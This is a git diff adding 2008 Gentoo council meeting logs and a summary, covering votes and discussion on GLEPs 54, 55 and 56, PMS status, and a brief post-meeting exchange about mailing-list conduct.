+20:42 <    Cardoe > Can I just say as an aside, it'd be nice if someone would summarize the final discussion on the dev ML and post that finalized item as a complete deployment plan (as we just requested of antarus) to the council ML to be the official agenda item instead of "read this thread."
+20:43 <   antarus > Cardoe: I think the idea of 'throwing something to the council' should perhaps be slightly defined
+20:43 <   antarus > Cardoe: and if the guy running the meeting gets teh feeling that somethnig isn't well specified (as my proposal was not) it would just not get put on the agenda
+20:44 <    Cardoe > precisely
+20:44 < dberkholz@> since we now have two competing plans, one of which hasn't been around long enough to get much feedback, it doesn't seem like the best time to approve one
+20:44 <     jokey@> right, I at least wouldn't vote for one
+20:45 < dberkholz@> i suggest that we let them develop and see if they somehow merge
+20:45 <      amne@> agreed
+20:45 <    Cardoe > I'd say this is a July agenda item.
+20:45 <    TFKyle > lu_zero: sorry if it's slightly OT, but how would the revision be communicated to the PM from the eclass? or do they do that currently?
+20:45 < dberkholz@> could you guys talk about that in #-dev?
+20:45 <     ferdy > careful, it is very easy to DoS the council this way.....
+20:45 <   lu_zero@> TFKyle better move on -dev
+20:45 <    TFKyle > ah, sorry
+20:45 <   antarus > Cardoe: I think they can vote earlier
+20:45 <     ferdy > you can propose someting 'alternative' a couple of hours before something is going to be discussed
+20:46 <    Cardoe > ferdy: let's remain constructive. Thank you.
+20:46 <Betelgeuse@> ferdy: Well we don't have a rule saying we need to postpone it with alternatives
+20:46 <     ferdy > Cardoe: this IS constructive
+20:46 <      amne@> let's move on please
+20:46 < dberkholz@> again, i want to emphasize that once they finalize somewhat, the council can vote without waiting around for a meeting
+20:46 <     ferdy > Betelgeuse: which is why I said 'careful'
+20:47 <    Cardoe > I think the council members agree that lu's proposal has some merit and should be discussed further as a potential path to take
+20:47 <    Cardoe > If they looked at it and were able to quickly dismiss it as not being viable, we would have had a vote now.
+20:47 <    Cardoe > moving on
+20:47 < dberkholz@> the next two topics are gleps 55 and 56. i suggested that both of them still need further discussion on -dev.
+20:48 <   lu_zero@> agreed
+20:48 < dberkholz@> in my opinion, the council's next action should be all of us posting our feedback to both gleps
+20:48 <    Cardoe > What are the outstanding discussions on glep 56?
+20:49 <     jokey@> 56 doesn't have some I think, given there hasn't been feedback for some days now
+20:49 <Betelgeuse@> glep 56 makes PMS look like something valid
+20:50 < dberkholz@> i outlined my reasons in http://archives.gentoo.org/gentoo-dev/msg_54ee20d2b1d8122370afdd4b3d7aafc9.xml and they basically agree with what genone was saying
+20:50 <  ColdWind > lu_zero: you may want to extend your proposal, with the 'Backwards compatibility' section if we are going to discuss it in the list
+20:50 <   lu_zero@> ColdWind sure
+20:50 <    Cardoe > dberkholz: that doesn't disregard the GLEP from being voted on
+20:50 <    Cardoe > dberkholz: the council can say approve this GLEP to deprecate X
+20:51 <    Cardoe > I left that up to the council to decide
+20:51 <    Cardoe > as my e-mail to genone stated
+20:52 <    Cardoe > obviously I abstain from voting but if everyone would like to kick it back to the list I'll create a new summary.
+20:52 <    Cardoe > I agree Betelgeuse did raise a valid point.
+20:54 < dberkholz@> i didn't quite follow the reasoning
+20:54 < dberkholz@> maybe i need more coffee
+20:54 <   lu_zero@> Cardoe could you please summarize?
+20:55 <NeddySeago > 5 mins left
+20:55 < dberkholz@> till 1 hour =)
+20:55 <    Cardoe > lu_zero: surely
+20:55 <NeddySeago > Oops - sorry
+20:55 <    Cardoe > GLEP 56 aims to fill a gap that currently exists in Gentoo's USE flag documentation
+20:56 <    Cardoe > Essentially use.local.desc can not be used to override our description of a use.desc flag as per our QA Project's policy
+20:56 <    Cardoe > All those overlaps were removed from the tree a few months back
+20:56 <    Cardoe > This has resulted in a loss of information for users (that includes devs) about how certain USE flags affect their system.
+20:57 <    Cardoe > The goal is to allow these global and even non-global USE flags to be documented with clarity. Additionally, it also allows the lang attribute so that in the future we may internationalize our tree better to support non-English speakers with this information.
+20:58 <    Cardoe > The information is wrapped in XML using a simple tag structure that tools can take an advantage of. Tools like packages.gentoo.org and other command line utilities and provides additional measures to cross-reference to other packages when describing a USE flag.
+20:58 <  dev-zero > Cardoe: sorry to interrupt, did you get my mail wrt changes for GLEP 56
+20:58 <     jokey@> as said, feedback was quite silent, though nothing negative and I personally don't see anything questionable either
+20:58 <  dev-zero > ?
+20:59 <    Cardoe > dev-zero: yes.
+20:59 <    Cardoe > For every one else, the feedback that dev-zero provided was to remove the following: "* The default ``'lang'`` attribute value is "C", which is equivilent to "en"."
+21:00 <    Cardoe > Which is currently defined in the devmanual's section on metadata.xml
+21:00 < dberkholz@> Cardoe: is there a way to say which flags are local vs global?
+21:00 <    Cardoe > So putting that into the GLEP is redundant, so dev-zero would like it removed.
+21:00 <  dev-zero > Cardoe: then you missed a bigger part of it
+21:00 <    Cardoe > dberkholz: Not in the current version of the GLEP
+21:01 <    Cardoe > dberkholz: it merely defines what USE flags affect this package
+21:01 < dberkholz@> if you wanted to be able to build up a use.local.desc from this, would you need such a thing?
+21:01 <   lu_zero@> dev-zero could you point us a link or a quick summary?
+21:01 <    Cardoe > dberkholz: I discussed it with infra. Effectively the process would be to build up a use.local.desc and subtract use.desc from it.
+21:01 < dberkholz@> right, that's the other way i was thinking.
+21:01 <  dev-zero > lu_zero: http://rafb.net/p/FI6bdj29.html
+21:02 < dberkholz@> there may be a danger in allowing local descriptions of globals, which diverge over time until they no longer mean the same thing
+21:03 < dberkholz@> but they again, the meaning within a package generally doesn't change much
+21:03 < dberkholz@> then*
+21:03 <Ford_Prefe > dberkholz: besides, that would be a QA violation and as such should be discouraged/caught
+21:03 <     jokey@> should we send it back to ml for discussion?
+21:03 <     jokey@> as we agreed to vote on ML, it should be safe for this too
+21:04 <     ferdy > Cardoe: sorry for not bringing this earlier (I probably missed the thread). The fact that a USE flag *might* change meaning in the lifetime of a package has been discussed and covered?
+21:04 < dberkholz@> The 'restrict' atttribute can limit to specific versions of the package
+21:05 <Ford_Prefe > ferdy: I'd assume the USE flag itself would change then, as it would be expecteed to today
+21:05 <    Cardoe > what dberkholz said
+21:05 <     ferdy > thanks. Sorry for the noise.
+21:05 < dberkholz@> good question. i had to check the glep for it
+21:05 < dberkholz@> there's 3 t's in attribute, btw.
+21:06 <    Cardoe > dberkholz: thank you
+21:06 < dberkholz@> i think there is still room for improvement in this glep, not so much in its technical aspects but in the way it promotes itself, the possible generation of legacy files, and the tools to use it. 
+21:08 <    Cardoe > Well I abstain from voting on it due to conflict of interest, but as I said before. I'm game for kicking it to the ML and I'll address all the concerns and provide a follow up e-mail to the list.
+21:08 < dberkholz@> we already agreed to allow the flags without a glep a few months back <http://www.gentoo.org/proj/en/council/meeting-logs/20071213-summary.txt>, so that's not the purpose of this one ...
+21:09 < dberkholz@> if the point isn't to allow them, the point should be something else beyond saying they're possible
+21:10 <    Cardoe > I just wanted to write a GLEP to address some council member's concerns about a lack of a GLEP.
+21:10 < dberkholz@> i can certainly see the value of a specification
+21:10 < dberkholz@> does anyone want to vote on glep 56 now?
+21:11 <   lu_zero@> I'd look forward improvements
+21:13 < dberkholz@> could i actually get a yes or no response to that question?
+21:13 <     jokey@> no
+21:13 <   lu_zero@> no
+21:13 <      amne@> no
+21:13 < dberkholz@> great, thanks.
+21:13 <     jokey@> ML vote++
+21:14 < dberkholz@> i'm going to talk with cardoe more about my concerns. i encourage you all to do the same, on-list or off
+21:14 <   lu_zero@> (sorry but I keep reloggin on d.g.o every 40s average...)
+21:14 <     jokey@> screen ftw ;)
+21:14 < dberkholz@> the last topic is PMS status
+21:15 < dberkholz@> i really think you all need to post your opinions to that mailing-list thread i mentioned in the agenda
+21:15 <     jokey@> I raised my concerns today on the ML already
+21:16 <   lu_zero@> I voiced them already as well
+21:16 <      amne@> i don't think i sent an email, but jokey's really summed up my concerns
+21:17 < dberkholz@> what i'd like to do is wrap up this meeting now and since we're under the 2-hour cutoff, see all of us with email access spend the remaining time posting to the list about the topics we sent there
+21:17 <     jokey@> sounds good to me
+21:17 < dberkholz@> in particular glep 54, glep 56, pms
+21:18 < dberkholz@> those should all be resolvable quickly. glep 55 as well, if you have any ideas
+21:18 <     jokey@> then we don't have a topic left, do we?
+21:19 < dberkholz@> nope, that's it if everyone agrees with my suggestion
+21:19 <     jokey@> k' then
+21:19 < dberkholz@> amne, Betelgeuse, lu_zero, Cardoe ?
+21:19 <      amne@> wfm
+21:19 <     jokey@> note to dberkholz: nice meeting style idea, feels good
+21:19 <    Cardoe > dberkholz: I agree with your suggestion
+21:19 <Betelgeuse@> dberkholz: I might write something but as it gets late.
+21:20 <   lu_zero@> dberkholz just back, let me sync back
+21:20 < dberkholz@> Betelgeuse: right, understood. it would be good if everyone could post within the next day, 2 tops
+21:20 <Betelgeuse@> For the next council I will try to get the meetings earlier.
+21:20 <    Cardoe > I've summarized my feelings on the ML. Which really was an extension of jokey's.
+21:20 <Betelgeuse@> Winter is fine but DST is a bit late.
+21:22 <jmbsvicett > dberkholz: As you've covered all the topics for the meeting, you might want to make some comments about CoC and the tone of mails to the -dev ml
+21:23 < dberkholz@> the meeting's officially over. thanks for playing, everyone, and i'll see your posts on the lists in the next day or two. anyone who would like to talk about conduct on the lists can stick around for a little bit =)
+
+--- Meeting ends. Brief discussion of recent on-list behavior and CoC follows. ---
+
+21:24 < dberkholz@> jmbsvicetto: what in particular did you have in mind?
+21:25 <jmbsvicett > dberkholz: I saw your comment in the morning, but I didn't had the time to reply to the list then
+21:25 <jmbsvicett > dberkholz: First, do you still think there's any interest, purporse or need for CoC?
+21:25 < dberkholz@> to catch everyone up here...
+21:25 < dberkholz@> 23:00 <jmbsvicett > No. But it wouldn't hurt if people were able to express  their views or points in 2 mails instead of 20
+21:25 < dberkholz@> Day changed to 12 Jun 2008
+21:25 < dberkholz@> 06:22 < dberkholz@> jmbsvicetto: since you remarked upon the problem, perhaps  you'd like to post to the list. =)
+21:25 < dberkholz@> 06:22 < dberkholz@> the whole idea is getting people outside the council to  participate ... peer pressure to maintain a good working  environment
+21:25 <jmbsvicett > Second, do you think any of the mails to the -dev ml in the last 2 days violates the CoC?
+21:26 <jmbsvicett > dberkholz: You missed the first comment
+21:26 <      rane > they probably didn't even read them
+21:26 < dberkholz@> you basically just repeated it, didn't you?
+21:26 <      rane > i know cause i didn't myself
+21:26 <jmbsvicett > I think so
+21:26 < dberkholz@> personally, i wasn't terribly impressed with some of the recent back-and-forth threads in the past few days
+21:27 < dberkholz@> on either end, not just one person or the other
+21:27 <jmbsvicett > dberkholz: I think there were at least 2 messages that should not be tolerated
+21:27  * NeddySea would like to thank the outgoing council for their efforts
+21:27 <jmbsvicett > The one with the link to the "idiot" definition on wikipedia
+21:28  * Ford_Pre echoes NeddySeagoon 
+21:28 <jmbsvicett > I also want to thank the council members for their work
+21:28 < dberkholz@> jmbsvicetto: bheekling did an outstanding job of stepping in on that thread and one or two others. he's setting a great role model for what the rest of us should do
+21:30 <jmbsvicett > let me read the mails again.
+21:30 <Ford_Prefe > I guess peer-directed intolerance for bad behaviour is really the ideal solution for this
+21:30 <jmbsvicett > skim*
+21:33 <jmbsvicett > dberkholz: hmm, I can't find any mesage from bheekling on the -dev ml. Different name on the from address?
+21:33 <Ford_Prefe > http://archives.gentoo.org/gentoo-dev/msg_4211dc4054de30f2ff52f6f8a2e2466e.xml might be it
+21:33 <      rane > Nirbheek
+21:34 < dberkholz@> yeah, that's him.
+21:34 <Ford_Prefe > (name is right, this might be the thread dberkholz is referring to)
+21:34 <      rane > or sth like that
+21:34 <      rane > no idea if it's his real name
+21:34 <jmbsvicett > thanks
+21:34 < dberkholz@> the specific post i had in mind was a wikipedia reference to flames and personal attacks
+21:35 <      rane > yeah, this new idea of people telling others they are behaving like jerks
+21:35 <      rane > it looks like it worked
+21:35 <Ford_Prefe > Indeed
+21:40 <      rane > silent majority stepping in and kicking ass
+21:40 <      rane > a great idea indeed
+21:47 <Ford_Prefe > Maybe we can have a won't-tolerate-bad-behaviour pledge. :P
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080710-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20080710-summary.txt
new file mode 100644
index 00000000..72c9b0c8
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080710-summary.txt
@@ -0,0 +1,125 @@
+Quick summary
+=============
+
+GLEP 54: There were numerous questions that apparently were not brought 
+         up on the mailing list in advance or were not addressed.
+
+GLEP 55: On hold pending a concrete requirement for it. GLEP 54 may be, 
+         but that's unclear until it's been revised.
+
+GLEP 56: Approved. Cardoe will get repoman changes made, followed by a 
+         server-side script to generate use.local.desc from 
+         metadata.xml.
+
+
+The meeting wrapped up in under 1 hour again. We still need to work 
+harder to push more discussion and questions to the mailing list, 
+though.
+
+
+Topics
+======
+
+GLEP 54
+-------
+Preparation: Post your opinion to the -dev thread "A few questions to 
+our nominees" 4+ hours before the meeting.
+
+Last month: 
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_c6e4ba8293f50c1e0444e67d59cf85ea.xml
+	lu_zero: http://archives.gentoo.org/gentoo-dev/msg_05614741b3942bfdfb21fd8ebb7955e0.xml
+
+Goal: Status check at meeting to see who's ready to vote. Vote on-list 
+no later than July 17.
+
+<Betelgeuse@> dberkholz: with GLEP 55 EAPI X can add the support for scm
+<Betelgeuse@> dberkholz: and older Portage versions work just fine
+
+<Betelgeuse@> dberkholz: In general I oppose adding things to EAPI 0
+
+<   lu_zero@> dberkholz problem: if you have -scm installed
+<   lu_zero@> and then switch to a pm not knowing it
+<   lu_zero@> you have a nice recipe for inconsistency
+
+<   Halcy0n@> I would really like to see a list of features that we would 
+                    end up having after implementing this GLEP.  The GLEP 
+                    mentions possible enhancements, but I'd like to see what we 
+                    would have planned if we go forward with this change.
+<   Halcy0n@> Well, it only mentions one enhancement, I'd like to see 
+                    what else we could do to judge if it is worth it.
+Halcy0n@> Betelgeuse: yes, I know there are some things we could do,
+                    but I'd like to see a more extensive list of possibilities, 
+                    what are other possible ways of doing this (like a metadata 
+                    tag for the ebuild), and why those other methods aren't 
+                    sufficient.
+
+< dberkholz@> i think the point here is that the glep should address what 
+                    made its implementation superior to other possible ones, 
+                    which it also describes
+
+< dberkholz@> ok, i've noted the issues raised here
+< dberkholz@> once they're address, the glep can be revised and we'll 
+                    consider it again
+
+Summary: Specific questions and requests are above.
+
+
+GLEP 55
+-------
+Preparation: Post your opinion to the -dev thread "GLEP 55" 4+ hours 
+before the meeting.
+
+Last month:
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_c6e4ba8293f50c1e0444e67d59cf85ea.xml
+
+Goal: Status check at meeting to see who's ready to vote. Vote on-list 
+once we're ready.
+
+<Betelgeuse@> But I don't see the use of accepting it before we a) 
+                    Portage has something that would make use of it b) some 
+                    other pkg manager is made official
+<   Halcy0n@> So, can we vote on postponing a GLEP of this nature until 
+                    another glep requires such changes?
+
+Summary: On hold pending a concrete requirement for it. GLEP 54 may be, 
+but that's unclear until it's been revised.
+
+
+GLEP 56
+-------
+Preparation: Post your opinion to the -dev thread "[GLEP56] USE flag 
+descriptions in metadata" 4+ hours before the meeting. (Cardoe: Did the 
+requested updates ever get made?)
+
+Last month:
+	dberkholz: http://archives.gentoo.org/gentoo-dev/msg_54ee20d2b1d8122370afdd4b3d7aafc9.xml
+
+Goal: Status check at meeting to see who's ready to vote. Vote on-list 
+no later than July 17, if requested changes are made.
+
+Requested changes were made: 
+http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/glep/glep-0056.txt?r1=1.1&r2=1.2
+
+<    Cardoe > Well the first step of making that portion happen is going 
+                    to be to add a check to repoman that if use.local.desc is 
+                    not present in the repo, do new QA check.
+<    Cardoe > Once that's in place that developers can use, then the 
+                    infra script will happen.
+<    Cardoe > I've already discussed it with the Portage folks and the 
+                    infra folks.
+
+Summary: Approved.
+
+
+Roll call
+=========
+
+(here, proxy [by whom] or slacker?)
+
+betelgeuse  here
+dberkholz   here
+dertobi123  here
+flameeyes   here
+halcy0n     here
+jokey       here
+lu_zero     here
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20080710.txt b/xml/htdocs/proj/en/council/meeting-logs/20080710.txt
new file mode 100644
index 00000000..099170ba
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20080710.txt
@@ -0,0 +1,208 @@
+20:01 < dberkholz@> looks like lu just got kicked offline
+20:01 <     jokey@> yep
+20:02 <     jokey@> he should really use screen ;)
+20:02 < Flameeyes@> jokey: or quassel :P
+20:02 <dertobi123@> screen ftw.
+20:03 < dberkholz@> ok. one more time, agenda for the meeting is here: http://dev.gentoo.org/~dberkholz/20080710-agenda-mini.txt
+20:03 -!- Irssi: #gentoo-council: Total of 53 nicks [6 ops, 0 halfops, 0 voices, 47 normal]
+20:03 <Betelgeuse@> Flameeyes: some kind of backgrounding IRC client?
+20:03 < Flameeyes@> Betelgeuse: yeah it's a (core+client) client
+20:03 < dberkholz@> who's here: Betelgeuse , Flameeyes , jokey , dertobi123 
+20:03 < Flameeyes@> I am
+20:03 < dberkholz@> and me
+20:03 <   Halcy0n@> Me
+20:03 < dberkholz@> Halcy0n, lu need to speak up (and show up again in lu's case)
+20:03 < dberkholz@> ah, there you are
+20:04 <     jokey@> hi lu_zero
+20:05 <dertobi123@> luca!
+20:05 <    fmccor > You might op him  :)
+20:05 <     jokey@> he can do that himself ;)
+20:05 < dberkholz@> lu_zero: back for good?
+20:06 -!- mode/#gentoo-council [+o lu_zero] by ChanServ
+20:06 <   lu_zero@> sigh
+20:06 <   lu_zero@> let the damn thing sync
+20:06 <   lu_zero@> and I will
+20:06 <   lu_zero@> ok
+20:08 < dberkholz@> ok, everyone's here now
+20:08 < dberkholz@> sorry for the lag
+20:08 < dberkholz@> first topic is glep 54
+20:10 < dberkholz@> anyone got anything to say?
+20:10 <     jokey@> short statement for the logs? ;)
+20:11 <     jokey@> doesn't look like it
+20:11 <Betelgeuse@> dberkholz: Well as older Portage versions don't handle it correctly, it can't yet be used in the tree so what's the use of making it official?
+20:11 <   lu_zero@> I don't feel the glep changed any way
+20:11 < Flameeyes@> I still haven't heard anything that moves me from my original position of not liking it
+20:12 <Betelgeuse@> dberkholz: glep 55 should be handled before 54
+20:12 < dberkholz@> Betelgeuse: your reasoning, please?
+20:12 <Betelgeuse@> dberkholz: 23:11 <@Betelgeuse> dberkholz: Well as older Portage versions don't handle it correctly, it can't yet be used in the tree so what's the use of making it official?
+20:12 <Betelgeuse@> dberkholz: with GLEP 55 EAPI X can add the support for scm
+20:13 <Betelgeuse@> dberkholz: and older Portage versions work just fine
+20:13 <   lu_zero@> glep 55 -> http://dev.gentoo.org/~lu_zero/glep/migrationpath.rst
+20:13 < dberkholz@> glep 54 claims backwards compat is quite reasonable
+20:13 < dberkholz@> "Portage versions prior to 2.1.2.12 (included in 2007.0) don't handle arbitrary version suffixes and die during various tasks making portage hard or impossible to use. Later versions just ignore them displaying warnings. Hence use of scm suffixes in gentoo-x86 tree will probably have to wait till 2008.0 release or later."
+20:13 < Flameeyes@> so let's say virtual/eapi-migration-method
+20:14 < Flameeyes@> [so glep55 or something providing the same interface]
+20:14 <   lu_zero@> dberkholz problem: if you have -scm installed
+20:14 <   lu_zero@> and then switch to a pm not knowing it
+20:14 <   lu_zero@> you have a nice recipe for inconsistency
+20:14 <Betelgeuse@> dberkholz: In general I oppose adding things to EAPI 0
+20:15 <Betelgeuse@> although zmedico seems to be doing it every once in a while
+20:15  *  lu_zero in general opposes having non-definitions
+20:15 <      igli > if it doesn't break anything.. ;)
+20:16 <   Halcy0n@> I would really like to see a list of features that we would end up having after implementing this GLEP.  The GLEP mentions possible enhancements, but I'd like to see what we would have planned if we go forward with this change.
+20:16 <   Halcy0n@> Well, it only mentions one enhancement, I'd like to see what else we could do to judge if it is worth it.
+20:16 <   lu_zero@> Halcy0n that had been requested
+20:16 < Flameeyes@> Halcy0n: that was my concern in the first place
+20:16 <   lu_zero@> the feedback hadn't be that helpful
+20:16 < dberkholz@> (fyi, i'm writing down the exact questions we have for posting to the list afterwards)
+20:17 <   Halcy0n@> Okay, I'm still catching up with everything that has gone on, so ignore me if I repeat something that happened already :)
+20:17 <Betelgeuse@> Halcy0n: Adding global scope functions.
+20:17 <Betelgeuse@> Halcy0n: But that can also be done by cleaning profile bashrcs and adding stubs
+20:17 < Flameeyes@> Betelgeuse: I _think_ Halcy0n was referred to 54
+20:17 < dberkholz@> are we on 55 or 54 here? we seem to be bouncing around
+20:17 <   Halcy0n@> I thought we were discussing 54.
+20:17 <     jokey@> 54
+20:17 <   antarus > 54
+20:17 < Flameeyes@> 42
+20:18 < Flameeyes@> [sorry couldn't help it]
+20:18 <   antarus > Flameeyes: hike!
+20:18 <   antarus > Flameeyes: also good to see you here ;)
+20:18 <Betelgeuse@> Halcy0n: periodit reinstalls
+20:18 <   lu_zero@> Betelgeuse I wasn't aware the package manager has cron capabilities...
+20:19 <Betelgeuse@> lu_zero: lol
+20:19 -!- lu_zero changed the topic of #gentoo-council to: glep 54 discussion || Agenda: http://dev.gentoo.org/~dberkholz/20080710-agenda-mini.txt
+20:19 <   Halcy0n@> Betelgeuse: yes, I know there are some things we could do, but I'd like to see a more extensive list of possibilities, what are other possible ways of doing this (like a metadata tag for the ebuild), and why those other methods aren't sufficient.
+20:21 <   lu_zero@> Halcy0n I started to write down alternatives with features that interest me in http://dev.gentoo.org/~lu_zero/glep/liveebuild.rst
+20:22 < dberkholz@> i think the point here is that the glep should address what made its implementation superior to other possible ones, which it also describes
+20:22 <   Halcy0n@> Do we all agree that we should wait to make a decision on this until we have a list of actual features, and why its the best solution?
+20:22 <     jokey@> (and make sure that it is the best option)
+20:22 <     jokey@> ++
+20:23 < Flameeyes@> agreed again
+20:23 <dertobi123@> Halcy0n: agreed
+20:23 <   lu_zero@> agreed
+20:23 <Betelgeuse@> Halcy0n: We can wait any way as it can't be used in the main tree.
+20:24 <   antarus > s/can't/should not be/
+20:24 <   antarus > but I'm a pedant
+20:24 < dberkholz@> ok, i've noted the issues raised here
+20:25 < dberkholz@> once they're address, the glep can be revised and we'll consider it again
+20:25 < dberkholz@> addressed*
+20:25 < dberkholz@> let's move on to glep 55
+20:25 -!- lu_zero changed the topic of #gentoo-council to: glep 55 discussion || Agenda: http://dev.gentoo.org/~dberkholz/20080710-agenda-mini.txt
+20:26 < dberkholz@> who likes it?
+20:27  *    jokey doesn't, solves a non-existant problem
+20:27  *  lu_zero doesn't solves a non-existant problem in an unclean fashion
+20:27 <   lu_zero@> missing coma
+20:27  *  lu_zero doesn't, solves a non-existant problem in an unclean fashion
+20:27 <   Halcy0n@> Not I, same reason.
+20:28 < Flameeyes@> ibid.
+20:28 <     jokey@> maybe we should just vote
+20:28 <gentoofan2 > what about the reasons mentioned in the glep?
+20:28 < dberkholz@> 4 of us just said they don't like it because it solves a nonexistent problem
+20:28 <   antarus > I disagree with your wording
+20:28 <   antarus > it certainly solves a problem
+20:28 <dertobi123@> dberkholz: agreed on that, make it 5
+20:28 <Betelgeuse@> I agree with antarus
+20:29 <   antarus > the problem is not a blocker for Gentoo
+20:29 <   antarus > (to my knowledge)
+20:29 < dberkholz@> is it a problem for gentoo in any fashion at all? are there any other features we want that depend on it? if so, i haven't seen a glep for 'em
+20:29 <Betelgeuse@> But I don't see the use of accepting it before we a) Portage has something that would make use of it b) some other pkg manager is made official
+20:30 <   Halcy0n@> antarus: I can agree with that wording as well. :)  I think we were implying it wasn't a problem for Gentoo when we were saying it solved a non-existant problem.
+20:30 <   antarus > I imagine the kde and java people have odd ideas rolling around
+20:30 <   lu_zero@> Alternatives anyway -> http://dev.gentoo.org/~lu_zero/glep/migrationpath.rst
+20:30 <   Halcy0n@> So, can we vote on postponing a GLEP of this nature until another glep requires such changes?
+20:31 <Betelgeuse@> Halcy0n: agreed
+20:31 <gentoofan2 > Halcy0n: like glep 54?
+20:33 <     jokey@> gentoofan23: nah, we want more input on that glep... 55 we just want to defer until we need something like that
+20:33 <   Halcy0n@> gentoofan23: you could say that, yes.  If we want to introduce features, and actually have features that need these changes, then I'm all for it.
+20:33 <   Halcy0n@> Just changing things for the sake of changing them though...
+20:33 <dertobi123@> jokey: until we have a pÃroblem this glep would solve, yeah
+20:34 <     jokey@> dertobi123: yep, :)
+20:34 < dberkholz@> like one implementation of the overall idea in glep 54
+20:34 < dberkholz@> since we just decided we want to hear about why that is better than the other ones, 55 may or may not be required
+20:34 <   Halcy0n@> Flameeyes: lu_zero, dberkholz:  do you agree with postponing 55 as well?
+20:34 < Flameeyes@> I do
+20:34 <   lu_zero@> Halcy0n 55 or any other migration paths
+20:35 <   lu_zero@> I don't like the one proposed in glep55
+20:35 <   lu_zero@> and I think there are nicer alternatives
+20:35 <Betelgeuse@> dberkholz: the implementation is called paludis
+20:36 < dberkholz@> Betelgeuse: i'm not talking about a PM that implements that feature. i'm talking about whether -scm is the best way to solve the problem.
+20:36 <gentoofan2 > dberkholz: you mean like a repo using said features?
+20:36 <     jokey@> no, the way the problem is solved
+20:36 <  DrEeevil > I still say a tag in the ebuild (like RESTRICT) is all you need
+20:37 <     jokey@> dberkholz: so we deferred this until we have use?
+20:38 < dberkholz@> so, glep 54 in its current state is likely to depend on either glep 55 or some other eapi bump to allow -scm
+20:38 <   lu_zero@> DrEeevil please expand the reasoning in ml
+20:39 <  DrEeevil > lu_zero: ok
+20:40 < dberkholz@> looks like this is postponed at least till we've got a solid 54 
+20:40 <     jokey@> okay
+20:40 <     jokey@> next topic then?
+20:40 <   lu_zero@> jokey yup
+20:40 < dberkholz@> glep 56
+20:41 -!- jokey changed the topic of #gentoo-council to: glep 56 discussion || Agenda: http://dev.gentoo.org/~dberkholz/20080710-agenda-mini.txt
+20:41 < Flameeyes@> dberkholz: for the logs, I don't see any change in the reasoning for discussing the two of these again since last time -- we might want to decide to not discuss them again until there's a need for them]
+20:42 <   Halcy0n@> Cardoe posted some updates to the GLEP a little while ago, did everyone have a chance to look at them?
+20:42 < dberkholz@> Flameeyes: 54 & 55, you mean?
+20:42 < Flameeyes@> dberkholz: yes
+20:43 < dberkholz@> i like 56's current backwards compat section
+20:43 < Flameeyes@> Halcy0n: have you the link handy of the exact changes?
+20:43 <   Halcy0n@> http://sources.gentoo.org/viewcvs.py/gentoo/xml/htdocs/proj/en/glep/glep-0056.txt?r1=1.1&r2=1.2  is the diff
+20:43 < Flameeyes@> thanks
+20:44 <     jokey@> glep is good from my pov
+20:44 <   Halcy0n@> I like this one
+20:45 <     jokey@> anyone having questions about it?
+20:45 <   lu_zero@> got pointed that useflag definitions should be bound to a matching atom
+20:45 < Flameeyes@> good for me [well was good for me before too]
+20:46 <   lu_zero@> and that is yet not completely crystal clear (even if present)
+20:46 <dertobi123@> i also like it, but in the last paragraph of backwards compatibility it is unclear to me what "approving" the glep has to do with auto-generation of use.local.desc
+20:46 <   Halcy0n@> lu_zero: I believe that's the restrict attribute?
+20:46 < dberkholz@> dertobi123: by moving local flags to metadata.xml, instead of duplicating information in two places that gets out of sync we want to autogenerate the old location for legacy tools
+20:46 <    Cardoe > sorry all.. I mentally overslept.
+20:47 <dertobi123@> dberkholz: might make more sense to change the wording from "approved" to "fully implemented" or "implemented for local use-flags" then?
+20:47 <   lu_zero@> Halcy0n as I said, it is a nit
+20:48 < dberkholz@> i don't even see that it's a nit. it looks already addressed to me
+20:49 <     jokey@> indeed
+20:49 <    Cardoe > Well the first step of making that portion happen is going to be to add a check to repoman that if use.local.desc is not present in the repo, do new QA check.
+20:49 <    Cardoe > Once that's in place that developers can use, then the infra script will happen.
+20:50 <    Cardoe > I've already discussed it with the Portage folks and the infra folks.
+20:50 <jmbsvicett > Cardoe: Won't devs require updated validation tools?
+20:50 <   lu_zero@> good
+20:50 <    Cardoe > jmbsvicetto: right. which is why we're going to update repoman first.
+20:50 <   Halcy0n@> I am for approving this one.
+20:50 < dberkholz@> dertobi123: i guess my reading is a little different .. was reading the "will work to remove" part as implementing
+20:50 <jmbsvicett > Cardoe: ok
+20:51 <     jokey@> Halcy0n: make it more formal and "request for vote" :)
+20:52 < dberkholz@> ok, let's vote: approve glep 56, yes or now
+20:52 < dberkholz@> no*
+20:52 <     jokey@> yes
+20:52 <   Halcy0n@> yes
+20:52 < dberkholz@> yes
+20:52 <dertobi123@> dberkholz: the "will work to remove" part works for me as implementing, too
+20:52 <Betelgeuse@> \o/
+20:52 <dertobi123@> so, yes
+20:52 < Flameeyes@> yes
+20:52 < dberkholz@> wb Betelgeuse =)
+20:53 <Betelgeuse@> windzor: wherw was I?
+20:53 <     jokey@> okay, glep accepted :)
+20:53 <Betelgeuse@> s/windzor/dberkholz/
+20:53 < dberkholz@> i dunno, not talking during the 56 discussion. figured you were elsewhere
+20:53 < dberkholz@> that's all the agenda topics. two more quick things i wanted to mention
+20:54 < dberkholz@> 1 -- we're moving to biweekly meetings, so the next one will be july 24
+20:54 < dberkholz@> 2 -- we are actively discussing the appeals and will get decisions out asap
+20:55 <jmbsvicett > dberkholz: Where do you plan to announce the decisions?
+20:56 <     jokey@> dev-announce and council imho
+20:56 <   lu_zero@> agreed
+20:56 <     jokey@> dunno though ;)
+20:56 < dberkholz@> via private email to them, certainly. not sure exactly where on the public side yet
+20:58 <jmbsvicett > Can you please update the topic here and or make a note on the council ml when you decide where to make the annoucement?
+20:58 < dberkholz@> sure
+20:58 <   lu_zero@> dberkholz summary link?
+20:58 -!- jokey changed the topic of #gentoo-council to: Next council session july 24 || Agenda: http://dev.gentoo.org/~dberkholz/20080710-agenda-mini.txt
+20:58 <     jokey@> actually...
+20:58 < dberkholz@> lu_zero: i'll post it later this evening
+20:58 <   lu_zero@> ok
+20:58 -!- jokey changed the topic of #gentoo-council to: Next council session july 24
+20:59 < Flameeyes@> dberkholz: is the meeting still open? [mostly because I have to run]
+20:59 < dberkholz@> we're done for today
